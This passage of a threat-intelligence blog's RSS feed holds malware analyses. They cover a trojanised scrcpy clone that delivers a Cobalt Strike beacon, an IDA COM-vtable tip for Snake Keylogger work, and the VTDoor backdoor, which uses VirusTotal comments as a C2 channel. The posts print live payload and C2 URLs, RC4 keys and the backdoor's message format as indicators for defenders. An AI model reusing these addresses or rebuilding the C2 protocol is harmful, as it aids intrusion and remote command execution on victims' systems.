2. Request to the address: <code>https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP</code>. The encrypted main payload contains the following data:<br />
<br />
• RC4 key — 8 bytes;<br />
• payload length — 4 bytes;<br />
• payload.<br />
<br />
<strong>The main payload is CobaltStrike shellcode with the following configuration:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">BeaconType                  - HTTPS
Port                        - 443
SleepTime                   - 77665
MaxGetSize                  - 409721416
Jitter                      - 46
PublicKey_MD5               - fe7aa97fbe3fe21e59ead1792ca2dc58
C2Server                    - Moeodincovo.com,/divide/mail/SUVVJRQO8QRC,www.Moeodincovo.com,/divide/mail/SUVVJRQO8QRC
UserAgent                   - Mozilla/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
HttpPostUri                 - /Terminate/v6.49/LTKAZNE9
</code></span></pre><br />
<br />
An indicator of the presence of this malware may be the presence in the file system of an unsigned DLL library named <code>BugSplatRc64.dll</code>.<br />
<br />
<strong>IoCs</strong>:<br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-string">https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy</span>
<span class="hljs-string">https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP</span>
<span class="hljs-string">https://Moeodincovo.com/divide/mail/SUVVJRQO8QRC</span>
<span class="hljs-string">3356a7d25096e24afe3409540a06f42b2b5012e55a8cad3f6ee06ec13e3471a5</span>
<span class="hljs-string">879949e6d70f2d7e21c489552240b13f927fa9586ef7a9343fa07741248860f3</span>
</code></span></pre>

<figure class="wp-block-image"><img width="1024" height="751" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_376@16-09-2025_13-50-43-1024x751.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_376@16-09-2025_13-50-43-1024x751.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_376@16-09-2025_13-50-43-300x220.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_376@16-09-2025_13-50-43-768x563.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_376@16-09-2025_13-50-43.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="498" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_377@16-09-2025_13-50-44-1024x498.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_377@16-09-2025_13-50-44-1024x498.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_377@16-09-2025_13-50-44-300x146.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_377@16-09-2025_13-50-44-768x373.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_377@16-09-2025_13-50-44.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#dfir</span> <span class="hashtag">#ti</span> <span class="hashtag">#apt</span> <span class="hashtag">#reverse</span> <span class="hashtag">#malware</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Generating COM vtable in IDA</title>
		<link>https://ptesc.tech/en/generating-com-vtable-in-ida/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 02 Sep 2025 12:45:45 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b3%d0%b5%d0%bd%d0%b5%d1%80%d0%b0%d1%86%d0%b8%d1%8f-com-vtable-%d0%b2-ida/</guid>

					<description><![CDATA[Generating a COM vtable in IDA 🐍 While analyzing one of the Snake Keylogger variants, we needed to figure out which managed methods the native module calls through COM interfaces. This means we had to manually create a certain number of str…]]></description>
										<content:encoded><![CDATA[<strong>Generating a COM vtable in IDA</strong> 🐍<br />
<br />
While analyzing one of the <strong>Snake Keylogger</strong> variants, we needed to figure out which managed methods the native module calls through COM interfaces. This means we had to manually create a certain number of structures. And we also wanted to see the signature of each method, and there are many of them.<br />
<br />
Let&#8217;s try to automate the process. The proposed approach may not be the only one, but it&#8217;s interesting and solves our task. Tool stack:<br />
<br />
<strong>•</strong> OLE/COM Object Viewer (oleview)<br />
<strong>•</strong> MIDL compiler (<code>midl.exe</code>, included in Visual Studio Build Tools)<br />
<strong>•</strong> IDA<br />
<br />
📂 Let&#8217;s use <strong>OLE/COM Object Viewer (oleview)</strong> to open <code>mscorlib.tlb</code> and find the interfaces we&#8217;re interested in. The path to it:<br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-string">C:\Program</span> <span class="hljs-string">Files</span> <span class="hljs-string">(x86)\Windows</span> <span class="hljs-string">Kits\10\bin\&lt;version&gt;\x86\oleview.exe</span>
</code></span></pre><br />
<br />
<code>mscorlib.tlb</code> contains COM descriptions of the base managed interfaces. This file is usually located in the directory:<br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-string">C:\Windows\Microsoft.NET\Framework\&lt;Version&gt;\mscorlib.tlb</span>
</code></span></pre><br />
<br />
After opening the file, we see its IDL — Interface Definition Language (<em>screenshot 1</em>).<br />
<br />
🫱 Next, in the oleview tree we find the interfaces we need (for example, <code>_AppDomain</code>). We export their IDL and, following the example of the IDL for <code>mscorlib</code> (<em>screenshot 1</em>), assemble our own (<em>screenshot 2</em>). An example of a minimal IDL is shown <em>in screenshot 3</em> (the number of methods is trimmed down).<br />
<br />
<strong>At this step, the file needs a bit of cleanup:</strong><br />
<br />
1️⃣ Forward-declare the interfaces, define the value types. Interfaces can be forward-declared, since a pointer to them is always the same size. But value types must be fully defined, otherwise you&#8217;ll get an <em>unsatisfied forward declaration</em> error. We&#8217;ll get by with stubs: that&#8217;s sufficient for method signatures.<br />
<br />
2️⃣ Edit the function declarations.<br />
<br />
In <em>screenshot 4</em> we see how the COM method <code>GetEvents_2</code> is declared. This is an overload variant of the <code>GetEvents</code> method. We&#8217;re interested in the <code>custom</code> attribute, which says that this method is an implementation of the .NET method <code>Assembly.GetEvents</code>, and the <code>calling convention</code> (<code>_stdcall</code>). If we leave everything as in the raw IDL, the compiler will complain because:<br />
<br />
1️⃣ In IDL you don&#8217;t write <code>_stdcall</code>: it will appear in the generated <code>.h</code>.<br />
<br />
2️⃣ Method attributes (including <code>custom</code>(&#8230;)) must only be in square brackets before the method&#8217;s return type (in our case — <code>HRESULT</code>).<br />
<br />
<strong>So we change the contents to the following:
</strong><br />
<code>[custom(0F21F359-AB84-41E8-9A78-36D110E6D2F9, &quot;GetEvents&quot;)]
HRESULT GetEvents_2([in] BindingFlags bindingAttr, [out, retval] SAFEARRAY(_EventInfo*)* pRetVal);</code><br />
<br />
<strong>Next, we use the command to build:</strong><br />
<br />
<code>midl /h appdomain.h appdomain.idl</code><br />
<br />
👍 If you did everything correctly and the build succeeded, the output will look like <em>in screenshot 5</em>.<br />
<br />
Now we have a ready-made header, which we&#8217;ll send to IDA. But first, let&#8217;s add includes to the header file (before the contents of <code> appdomain.h</code>) so that IDA&#8217;s <code>clang</code> knows all the names and doesn&#8217;t complain about attributes or macros (<em>screenshot 6</em>):<br />
<br />
After that, we load the file into IDA:<code> File → Load file → Parse C header file…</code><br />
<br />
IDA uses the built-in <code>clang</code> to convert C headers into IDA&#8217;s type base. Accordingly, in <code>Options → Compiler</code> you need to specify include paths so that <code>clang</code> can see the standard headers (paths to the standard Windows SDK headers). Usually it looks like this:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">-target x86_64-pc-win32
-x c++
-std=c++11
-I"C:\Program Files (x86)\Windows Kits\10\Include\&lt;version&gt;\ucrt"
-I"C:\Program Files (x86)\Windows Kits\10\Include\&lt;version&gt;\um"
-I"C:\Program Files (x86)\Windows Kits\10\Include\&lt;version&gt;\shared"
-I"C:\Program Files (x86)\Windows Kits\10\Include\&lt;version&gt;\winrt"
-I"C:\Program Files (x86)\Windows Kits\10\Include\&lt;version&gt;\cppwinrt"
</code></span></pre><br />
<br />
After that, the methods <code>_AppDomain</code>, <code>_Type</code>, and others will appear in Local Types (<em>screenshot 7</em>).<br />
<br />
👀 In <em>screenshot 8</em> we see calls to two methods of the <code>_Type</code> interface. We make<code> encr_resource</code> a pointer to the <code>_Type</code> structure (whose vtable we saw in <em>screenshot 7</em>) and understand which methods are being called (<em>screenshot 9</em>). All the arguments collapsed under the correct signature, which we don&#8217;t need to write out manually.

<figure class="wp-block-image"><img width="1024" height="627" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_358@02-09-2025_12-45-45-1024x627.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_358@02-09-2025_12-45-45-1024x627.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_358@02-09-2025_12-45-45-300x184.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_358@02-09-2025_12-45-45-768x470.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_358@02-09-2025_12-45-45.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="806" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_359@02-09-2025_12-45-45-806x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_359@02-09-2025_12-45-45-806x1024.jpg 806w, https://ptesc.tech/wp-content/uploads/2025/09/photo_359@02-09-2025_12-45-45-236x300.jpg 236w, https://ptesc.tech/wp-content/uploads/2025/09/photo_359@02-09-2025_12-45-45-768x975.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_359@02-09-2025_12-45-45.jpg 1008w" sizes="auto, (max-width: 806px) 100vw, 806px" /></figure>
<figure class="wp-block-image"><img width="1024" height="788" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_360@02-09-2025_12-45-45-1024x788.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_360@02-09-2025_12-45-45-1024x788.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_360@02-09-2025_12-45-45-300x231.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_360@02-09-2025_12-45-45-768x591.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_360@02-09-2025_12-45-45.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="766" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_361@02-09-2025_12-45-45-1024x766.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_361@02-09-2025_12-45-45-1024x766.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_361@02-09-2025_12-45-45-300x224.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_361@02-09-2025_12-45-45-768x574.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_361@02-09-2025_12-45-45.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="763" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_362@02-09-2025_12-45-46-763x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_362@02-09-2025_12-45-46-763x1024.jpg 763w, https://ptesc.tech/wp-content/uploads/2025/09/photo_362@02-09-2025_12-45-46-224x300.jpg 224w, https://ptesc.tech/wp-content/uploads/2025/09/photo_362@02-09-2025_12-45-46-768x1030.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_362@02-09-2025_12-45-46.jpg 954w" sizes="auto, (max-width: 763px) 100vw, 763px" /></figure>
<figure class="wp-block-image"><img width="1024" height="495" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_363@02-09-2025_12-45-46-1024x495.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_363@02-09-2025_12-45-46-1024x495.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_363@02-09-2025_12-45-46-300x145.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_363@02-09-2025_12-45-46-768x371.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_363@02-09-2025_12-45-46.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="596" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_364@02-09-2025_12-45-46-1024x596.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_364@02-09-2025_12-45-46-1024x596.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_364@02-09-2025_12-45-46-300x175.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_364@02-09-2025_12-45-46-768x447.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_364@02-09-2025_12-45-46.jpg 1143w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="518" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_365@02-09-2025_12-45-46-1024x518.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_365@02-09-2025_12-45-46-1024x518.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_365@02-09-2025_12-45-46-300x152.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_365@02-09-2025_12-45-46-768x388.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_365@02-09-2025_12-45-46.jpg 1159w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#tip</span> <span class="hashtag">#malware</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Operation Tartaria — VTDoor</title>
		<link>https://ptesc.tech/en/operation-tartaria-vtdoor/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Fri, 29 Aug 2025 14:50:01 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/operation-tartaria-vtdoor/</guid>

					<description><![CDATA[Operation Tartaria — VTDoor 🚪 We have already covered Operation Tartaria in several posts — part 1 and part 2. In one of the cases, the PT ESC IR team discovered, in addition to PlugX modules, a dynamic library NVIDIADEBUG.dll located in th…]]></description>
										<content:encoded><![CDATA[<strong>Operation Tartaria — VTDoor</strong> 🚪<br />
<br />
We have already covered Operation Tartaria in several posts — <a href="https://t.me/ptescalator/439" rel="noopener" target="_blank">part 1</a> and <a href="https://t.me/ptescalator/440" rel="noopener" target="_blank">part 2</a>. In one of the cases, the PT ESC IR team discovered, in addition to PlugX modules, a dynamic library <code>NVIDIADEBUG.dll</code> located in the <code>C:\ProgramData\NVIDIA</code> directory. To maintain persistence in the system, a task named <code>NVIDIADEBUG</code> was created, which runs every two hours. The command launch arguments:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">&lt;Exec&gt;
      &lt;Command&gt;C:\Windows\system32\rundll32.exe&lt;/Command&gt;
      &lt;Arguments&gt;C:\ProgramData\NVIDIA\NVIDIADEBUG.dll fun&lt;/Arguments&gt;
&lt;/Exec&gt;
</code></span></pre><br />
<br />
The executable was named VTDoor because the malware uses comments on files on VirusTotal to communicate with the C2 server.<br />
<br />
The dynamic library <code>NVIDIADEBUG.dll</code> contains an export function <code>fun</code>, which implements the main set of functions. Using the VT API, VTDoor retrieves an encrypted command from a file comment: <code>https://www.virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments</code> (<em>screenshot 1</em>). After executing it, it publishes the result; the file hash and the VT token (x-api-key) are encrypted in the module using the RC4 algorithm with the key <code>032yhns1!-=</code>.<br />
<br />
👀 The method of using VirusTotal as a two-way C2 channel is not new and is already used in some C2 frameworks. Let&#8217;s look at how the command exchange protocol is structured.<br />
<br />
➡️ VTDoor retrieves the list of comments in a JSON file and extracts the <code>id</code> and <code>text</code> fields from it. It decodes the data from Base64 format and decrypts it using RC4 with the key <code>usde-092d</code>.<br />
<br />
<strong>The decrypted data must contain:</strong><br />
<strong>•</strong> a marker (0xAAAABBBB) — 4 bytes;<br />
<strong>•</strong> the payload length — 4 bytes;<br />
<strong>•</strong> the RC4 key for the payload — 4 bytes;<br />
<strong>•</strong> the payload.<br />
<br />
➡️ Next, the payload (the command to execute) is decrypted with a second RC4 key, and cmd.exe is launched with output redirected via Windows Pipes.<br />
<br />
<strong>Sending the command result:</strong><br />
After the command is executed, a 4-byte RC4 key is generated, with which the result will be encrypted. It is packed into a message:<br />
<strong>•</strong> a marker (0xBBBBAAAA);<br />
<strong>•</strong> the length of the executed command result — 4 bytes;<br />
<strong>•</strong> the RC4 key — 4 bytes;<br />
<strong>•</strong> the executed command result.<br />
The message is encrypted using the RC4 algorithm with the same key <code>usde-092d</code> and encoded in Base64.<br />
<br />
➡️ To post a comment on the file on VT, a JSON file is generated in which the result of the executed command is added to the text field:<br />
<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">{<span class="hljs-attr">"data"</span>:{<span class="hljs-attr">"type"</span>:<span class="hljs-string">"comment"</span>,<span class="hljs-attr">"attributes"</span>:{<span class="hljs-attr">"text"</span>:<span class="hljs-string">"&lt;Comment&gt;"</span>}}}
</code></span></pre><br />
<br />
It was discovered that the user <code>planningmid</code> (<em>screenshot 2</em>) also left comments on the files <a href="https://www.virustotal.com/gui/file/90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb/community" rel="noopener" target="_blank">90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb</a>, <a href="https://www.virustotal.com/gui/file/f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268/community" rel="noopener" target="_blank">f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268</a>, in which the command <code>whoami</code> was encrypted.<br />
<br />
<strong>IoCs:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-attr">MD5:</span> <span class="hljs-string">ca3820abd0331090c77116e2941f7b99</span>
<span class="hljs-attr">SHA1:</span> <span class="hljs-string">b49a3d0f6f1af2d12d96a38a90f4c656c61ffdeb</span>
<span class="hljs-attr">SHA256:</span> <span class="hljs-string">1f5e377bdcc92c44e4aab816758560b07ac98003cbe0fb93960c1d710972bb7f</span>

<span class="hljs-string">https://www.virustotal.com/api/v3/files/90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb/comments</span>
<span class="hljs-string">https://www.virustotal.com/api/v3/files/f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268/comments</span>
<span class="hljs-string">https://www.virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments</span>
</code></span></pre>

<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/08/photo_356@29-08-2025_14-50-01-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/08/photo_356@29-08-2025_14-50-01-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/08/photo_356@29-08-2025_14-50-01-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/08/photo_356@29-08-2025_14-50-01-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/08/photo_356@29-08-2025_14-50-01.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#dfir</span> <span class="hashtag">#ti</span> <span class="hashtag">#apt</span> <span class="hashtag">#reverse</span> <span class="hashtag">#malware</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
